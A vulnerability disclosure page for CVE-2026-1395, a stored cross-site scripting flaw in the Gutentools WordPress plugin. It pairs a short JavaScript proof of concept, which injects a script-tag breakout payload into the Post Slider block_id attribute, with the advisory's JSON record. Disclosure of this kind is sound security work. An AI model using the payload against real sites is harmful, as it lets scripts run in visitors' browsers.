CVE-2026-1395

/* * PoC for CVE-2026-1395 * Vulnerability: Stored XSS in Gutentools Post Slider block_id * Context: WordPress Editor, modifying Post Slider block */ // Payload to be injected into the 'block_id' attribute // The custom unescaping routine treats entities as raw characters. var payload = '"><script>alert("CVE-2026-1395-Confirmed")</script>'; // Example of the malicious block structure var maliciousBlock = { "blockName": "gutentools/post-slider", "attrs": { "block_id": payload // Injection point }, "innerHTML": "", "innerContent": [] }; console.log("Injecting payload into block_id: " + payload);

{"cve": {"id": "CVE-2026-1395", "sourceIdentifier": "[email protected]", "published": "2026-04-22T10:16:50.437", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Gutentools plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Post Slider block's block_id attribute in all versions up to, and including, 1.1.3. This is due to insufficient input sanitization and output escaping combined with a custom unescaping routine that reintroduces dangerous characters. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/gutentools/tags/1.1.3/core/blocks/post-slider.php#L232", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gutentools/trunk/core/blocks/post-slider.php#L232", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/gutentools/trunk/core/gutentools_block.php#L123", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3476597/gutentools/trunk/core/blocks/post-slider.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b2683b4e-b993-4c84-b7cc-a2cb511b4097?source=cve", "source": "[email protected]"}]}}